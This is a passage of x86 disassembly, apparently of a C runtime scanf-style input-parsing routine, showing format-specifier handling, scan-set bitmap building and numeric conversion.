		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420EA3
; ---------------------------------------------------------------------------


loc_420E94:				; CODE XREF: sub_420DB0+D3j
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420EA3:				; CODE XREF: sub_420DB0+E2j
		test	eax, eax
		jz	short loc_420EB9
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EB9:				; CODE XREF: sub_420DB0+F5j
		cmp	ebx, 4Eh
		jg	short loc_420EFC
		jz	short loc_420F1E
		cmp	ebx, 2Ah
		jz	short loc_420EF7
		cmp	ebx, 46h
		jz	short loc_420F1E
		cmp	ebx, 49h
		jz	short loc_420ED9
		cmp	ebx, 4Ch
		jnz	short loc_420F0B
		inc	[ebp+var_D]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420ED9:				; CODE XREF: sub_420DB0+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_420F0B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_420F0B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EF7:				; CODE XREF: sub_420DB0+113j
		inc	[ebp+var_E]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EFC:				; CODE XREF: sub_420DB0+10Cj
		cmp	ebx, 68h
		jz	short loc_420F18
		cmp	ebx, 6Ch
		jz	short loc_420F10
		cmp	ebx, 77h
		jz	short loc_420F13


loc_420F0B:				; CODE XREF: sub_420DB0+122j
					; sub_420DB0+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F10:				; CODE XREF: sub_420DB0+154j
		inc	[ebp+var_D]


loc_420F13:				; CODE XREF: sub_420DB0+159j
		inc	[ebp+var_5]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F18:				; CODE XREF: sub_420DB0+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_420F1E:				; CODE XREF: sub_420DB0+107j
					; sub_420DB0+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_420E77
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420F43
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420F43:				; CODE XREF: sub_420DB0+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420F61
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420F5D
		cmp	al, 43h
		jz	short loc_420F5D
		or	[ebp+var_5], 0FFh
		jmp	short loc_420F61
; ---------------------------------------------------------------------------


loc_420F5D:				; CODE XREF: sub_420DB0+1A1j
					; sub_420DB0+1A5j
		mov	[ebp+var_5], 1


loc_420F61:				; CODE XREF: sub_420DB0+19Bj
					; sub_420DB0+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_420F9A
		cmp	esi, 63h
		jz	short loc_420F8B
		cmp	esi, 7Bh
		jz	short loc_420F8B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42183D
		pop	ecx
		jmp	short loc_420F96
; ---------------------------------------------------------------------------


loc_420F8B:				; CODE XREF: sub_420DB0+1C5j
					; sub_420DB0+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C


loc_420F96:				; CODE XREF: sub_420DB0+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_420F9A:				; CODE XREF: sub_420DB0+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_420FAA
		cmp	[ebp+var_C], eax
		jz	loc_421786


loc_420FAA:				; CODE XREF: sub_420DB0+1EFj
		cmp	esi, 6Fh
		jg	loc_421211
		jz	loc_4214C3
		cmp	esi, 63h
		jz	loc_4211EE
		cmp	esi, 64h
		jz	loc_4214C3
		jle	loc_42123B
		cmp	esi, 67h
		jle	short loc_42100E
		cmp	esi, 69h
		jz	short loc_420FF6
		cmp	esi, 6Eh
		jnz	loc_42123B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4216F1
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420DB0+229j
		push	64h
		pop	esi


loc_420FF9:				; CODE XREF: sub_420DB0+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_421283
		mov	[ebp+var_17], 1
		jmp	loc_421288
; ---------------------------------------------------------------------------


loc_42100E:				; CODE XREF: sub_420DB0+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42102A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42102F
; ---------------------------------------------------------------------------


loc_42102A:				; CODE XREF: sub_420DB0+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_421046


loc_42102F:				; CODE XREF: sub_420DB0+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_421049
; ---------------------------------------------------------------------------


loc_421046:				; CODE XREF: sub_420DB0+27Dj
		mov	edi, [ebp+arg_0]


loc_421049:				; CODE XREF: sub_420DB0+294j
		cmp	[ebp+var_20], 0
		jz	short loc_421058
		cmp	[ebp+var_C], 15Dh
		jle	short loc_42105F


loc_421058:				; CODE XREF: sub_420DB0+29Dj
		mov	[ebp+var_C], 15Dh


loc_42105F:				; CODE XREF: sub_420DB0+2A6j
					; sub_420DB0+2F2j
		cmp	dword_43D094, 1
		jle	short loc_421074
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42107F
; ---------------------------------------------------------------------------


loc_421074:				; CODE XREF: sub_420DB0+2B6j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42107F:				; CODE XREF: sub_420DB0+2C2j
		test	eax, eax
		jz	short loc_4210A4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4210A4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42105F
; ---------------------------------------------------------------------------


loc_4210A4:				; CODE XREF: sub_420DB0+2D1j
					; sub_420DB0+2DBj
		cmp	byte_43D098, bl
		jnz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		mov	al, byte_43D098
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_4210CD:				; CODE XREF: sub_420DB0+360j
		cmp	dword_43D094, 1
		jle	short loc_4210E2
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4210ED
; ---------------------------------------------------------------------------


loc_4210E2:				; CODE XREF: sub_420DB0+324j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4210ED:				; CODE XREF: sub_420DB0+330j
		test	eax, eax
		jz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4210CD
; ---------------------------------------------------------------------------


loc_421112:				; CODE XREF: sub_420DB0+2FAj
					; sub_420DB0+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_4211AA
		cmp	ebx, 65h
		jz	short loc_42112A
		cmp	ebx, 45h
		jnz	loc_4211AA


loc_42112A:				; CODE XREF: sub_420DB0+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_421151
		mov	[esi], al
		inc	esi
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421151:				; CODE XREF: sub_420DB0+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_421174


loc_421156:				; CODE XREF: sub_420DB0+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_421165
		and	[ebp+var_C], eax
		jmp	short loc_421174
; ---------------------------------------------------------------------------


loc_421165:				; CODE XREF: sub_420DB0+3AEj
					; sub_420DB0+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421174:				; CODE XREF: sub_420DB0+3A4j
					; sub_420DB0+3B3j
		cmp	dword_43D094, 1
		jle	short loc_421189
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421194
; ---------------------------------------------------------------------------


loc_421189:				; CODE XREF: sub_420DB0+3CBj
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421194:				; CODE XREF: sub_420DB0+3D7j
		test	eax, eax
		jz	short loc_4211AA
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_421165
; ---------------------------------------------------------------------------


loc_4211AA:				; CODE XREF: sub_420DB0+366j
					; sub_420DB0+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43D438
		add	esp, 0Ch
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4211EE:				; CODE XREF: sub_420DB0+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_4211FD
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_4211FD:				; CODE XREF: sub_420DB0+441j
		cmp	[ebp+var_5], 0
		jle	short loc_421207
		mov	[ebp+var_16], 1


loc_421207:				; CODE XREF: sub_420DB0+451j
		mov	edi, offset dword_43D310
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421211:				; CODE XREF: sub_420DB0+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4214BF
		sub	eax, 3
		jz	loc_42130D
		dec	eax
		dec	eax
		jz	loc_4214C3
		sub	eax, 3
		jz	loc_420FF9
		sub	eax, 3
		jz	short loc_42125F


loc_42123B:				; CODE XREF: sub_420DB0+21Bj
					; sub_420DB0+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_421786
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_42125F:				; CODE XREF: sub_420DB0+489j
		cmp	[ebp+var_5], 0
		jle	short loc_421269
		mov	[ebp+var_16], 1


loc_421269:				; CODE XREF: sub_420DB0+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_421320
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421283:				; CODE XREF: sub_420DB0+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4212AA


loc_421288:				; CODE XREF: sub_420DB0+259j
		dec	[ebp+var_C]
		jnz	short loc_421299
		cmp	[ebp+var_20], 0
		jz	short loc_421299
		mov	[ebp+var_F], 1
		jmp	short loc_4212AA
; ---------------------------------------------------------------------------


loc_421299:				; CODE XREF: sub_420DB0+4DBj
					; sub_420DB0+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4212AA:				; CODE XREF: sub_420DB0+4D6j
					; sub_420DB0+4E7j
		cmp	ebx, 30h
		jnz	loc_4214F8
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4212F8
		cmp	bl, 58h
		jz	short loc_4212F8
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4212E2
		push	6Fh


loc_4212DC:				; CODE XREF: sub_420DB0+55Bj
		pop	esi
		jmp	loc_4214F8
; ---------------------------------------------------------------------------


loc_4212E2:				; CODE XREF: sub_420DB0+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_4214F5
; ---------------------------------------------------------------------------


loc_4212F8:				; CODE XREF: sub_420DB0+517j
					; sub_420DB0+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4212DC
; ---------------------------------------------------------------------------


loc_42130D:				; CODE XREF: sub_420DB0+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_421317
		mov	[ebp+var_16], 1


loc_421317:				; CODE XREF: sub_420DB0+561j
		mov	edi, offset dword_43D308


loc_42131C:				; CODE XREF: sub_420DB0+45Cj
					; sub_420DB0+4CEj
		or	[ebp+var_18], 0FFh


loc_421320:				; CODE XREF: sub_420DB0+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_421344
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_421344
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421344:				; CODE XREF: sub_420DB0+584j
					; sub_420DB0+589j
		mov	dl, [ebp+var_35]


loc_421347:				; CODE XREF: sub_420DB0+592j
					; sub_420DB0+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4213AC
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_421393
		test	dl, dl
		jz	short loc_421393
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_421393
		inc	edi
		cmp	dl, cl
		jnb	short loc_421366
		mov	al, cl
		jmp	short loc_42136A
; ---------------------------------------------------------------------------


loc_421366:				; CODE XREF: sub_420DB0+5B0j
		mov	al, dl
		mov	dl, cl


loc_42136A:				; CODE XREF: sub_420DB0+5B4j
		cmp	dl, al
		ja	short loc_42138F
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_421377:				; CODE XREF: sub_420DB0+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_421377


loc_42138F:				; CODE XREF: sub_420DB0+5BCj
		xor	dl, dl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420DB0+5A0j
					; sub_420DB0+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_4213AC:				; CODE XREF: sub_420DB0+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4217B6
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4213BE
		mov	[ebp+arg_4], edi


loc_4213BE:				; CODE XREF: sub_420DB0+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4213D5:				; CODE XREF: sub_420DB0+6BCj
					; sub_420DB0+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4213E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_421485


loc_4213E9:				; CODE XREF: sub_420DB0+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_421479
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_421479
		cmp	[ebp+var_E], 0
		jnz	short loc_421471
		cmp	[ebp+var_16], 0
		jz	short loc_421466
		mov	ecx, off_43CE88
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421445
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		mov	[ebp+var_37], al


loc_421445:				; CODE XREF: sub_420DB0+686j
		push	dword_43D094
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4246CB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_421469
; ---------------------------------------------------------------------------


loc_421466:				; CODE XREF: sub_420DB0+673j
		mov	[esi], al
		inc	esi


loc_421469:				; CODE XREF: sub_420DB0+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421471:				; CODE XREF: sub_420DB0+66Dj
		inc	[ebp+var_30]
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421479:				; CODE XREF: sub_420DB0+649j
					; sub_420DB0+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		pop	ecx
		pop	ecx


loc_421485:				; CODE XREF: sub_420DB0+633j
		cmp	[ebp+var_30], esi
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421717
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4214B7
		and	word ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214B7:				; CODE XREF: sub_420DB0+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214BF:				; CODE XREF: sub_420DB0+466j
		mov	[ebp+var_D], 1


loc_4214C3:				; CODE XREF: sub_420DB0+203j
					; sub_420DB0+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4214D1
		mov	[ebp+var_17], 1
		jmp	short loc_4214D6
; ---------------------------------------------------------------------------


loc_4214D1:				; CODE XREF: sub_420DB0+719j
		cmp	ebx, 2Bh
		jnz	short loc_4214F8


loc_4214D6:				; CODE XREF: sub_420DB0+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4214E7
		cmp	[ebp+var_20], 0
		jz	short loc_4214E7
		mov	[ebp+var_F], 1
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214E7:				; CODE XREF: sub_420DB0+729j
					; sub_420DB0+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax


loc_4214F5:				; CODE XREF: sub_420DB0+543j
		mov	[ebp+var_14], ebx


loc_4214F8:				; CODE XREF: sub_420DB0+4FDj
					; sub_420DB0+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_421611
		cmp	[ebp+var_F], 0
		jnz	loc_4215EF


loc_42150C:				; CODE XREF: sub_420DB0+82Cj
		cmp	esi, 78h
		jnz	short loc_421560
		cmp	dword_43D094, 1
		jle	short loc_421529
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421536
; ---------------------------------------------------------------------------


loc_421529:				; CODE XREF: sub_420DB0+768j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421536:				; CODE XREF: sub_420DB0+777j
		test	eax, eax
		jz	loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4247A0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4215B3
; ---------------------------------------------------------------------------


loc_421560:				; CODE XREF: sub_420DB0+75Fj
		cmp	dword_43D094, 1
		jle	short loc_421575
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421580
; ---------------------------------------------------------------------------


loc_421575:				; CODE XREF: sub_420DB0+7B7j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421580:				; CODE XREF: sub_420DB0+7C3j
		test	eax, eax
		jz	short loc_4215E1
		cmp	esi, 6Fh
		jnz	short loc_42159E
		cmp	ebx, 38h
		jge	short loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4247A0
		jmp	short loc_4215AD
; ---------------------------------------------------------------------------


loc_42159E:				; CODE XREF: sub_420DB0+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DB20


loc_4215AD:				; CODE XREF: sub_420DB0+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4215B3:				; CODE XREF: sub_420DB0+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4215CB
		dec	[ebp+var_C]
		jz	short loc_4215EF


loc_4215CB:				; CODE XREF: sub_420DB0+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42150C
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_420DB0+788j
					; sub_420DB0+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4215EF:				; CODE XREF: sub_420DB0+756j
					; sub_420DB0+819j
		cmp	[ebp+var_17], 0
		jz	loc_4216D5
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4216D5
; ---------------------------------------------------------------------------


loc_421611:				; CODE XREF: sub_420DB0+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4216CD


loc_42161B:				; CODE XREF: sub_420DB0+90Aj
		cmp	esi, 78h
		jz	short loc_42165F
		cmp	esi, 70h
		jz	short loc_42165F
		cmp	dword_43D094, 1
		jle	short loc_42163A
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421645
; ---------------------------------------------------------------------------


loc_42163A:				; CODE XREF: sub_420DB0+87Cj
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421645:				; CODE XREF: sub_420DB0+888j
		test	eax, eax
		jz	short loc_4216BF
		cmp	esi, 6Fh
		jnz	short loc_421658
		cmp	ebx, 38h
		jge	short loc_4216BF
		shl	edi, 3
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_421658:				; CODE XREF: sub_420DB0+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_42165F:				; CODE XREF: sub_420DB0+86Ej
					; sub_420DB0+873j
		cmp	dword_43D094, 1
		jle	short loc_421677
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421684
; ---------------------------------------------------------------------------


loc_421677:				; CODE XREF: sub_420DB0+8B6j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421684:				; CODE XREF: sub_420DB0+8C5j
		test	eax, eax
		jz	short loc_4216BF
		push	ebx
		shl	edi, 4
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421697:				; CODE XREF: sub_420DB0+8A6j
					; sub_420DB0+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4216A9
		dec	[ebp+var_C]
		jz	short loc_4216CD


loc_4216A9:				; CODE XREF: sub_420DB0+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42161B
; ---------------------------------------------------------------------------


loc_4216BF:				; CODE XREF: sub_420DB0+897j
					; sub_420DB0+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4216CD:				; CODE XREF: sub_420DB0+865j
					; sub_420DB0+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4216D5
		neg	edi


loc_4216D5:				; CODE XREF: sub_420DB0+843j
					; sub_420DB0+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4216DE
		and	[ebp+var_1C], 0


loc_4216DE:				; CODE XREF: sub_420DB0+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	short loc_421717
		inc	[ebp+var_34]


loc_4216F1:				; CODE XREF: sub_420DB0+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421707
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_420DB0+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421714
		mov	[eax], edi
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421714:				; CODE XREF: sub_420DB0+95Ej
		mov	[eax], di


loc_421717:				; CODE XREF: sub_420DB0+241j
					; sub_420DB0+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_421764
; ---------------------------------------------------------------------------


loc_421722:				; CODE XREF: sub_420DB0+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_421791
		mov	ecx, off_43CE88
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421764
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42179F
		dec	[ebp+var_4]


loc_421764:				; CODE XREF: sub_420DB0+970j
					; sub_420DB0+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42177A
		cmp	byte ptr [esi],	25h
		jnz	short loc_4217BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4217BC
		mov	esi, eax


loc_42177A:				; CODE XREF: sub_420DB0+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_420DDA
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_421786:				; CODE XREF: sub_420DB0+1F4j
					; sub_420DB0+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_421796
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: sub_420DB0+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_421796:				; CODE XREF: sub_420DB0+9DFj
		call	sub_421826
		pop	ecx
		pop	ecx
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_42179F:				; CODE XREF: sub_420DB0+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		add	esp, 10h


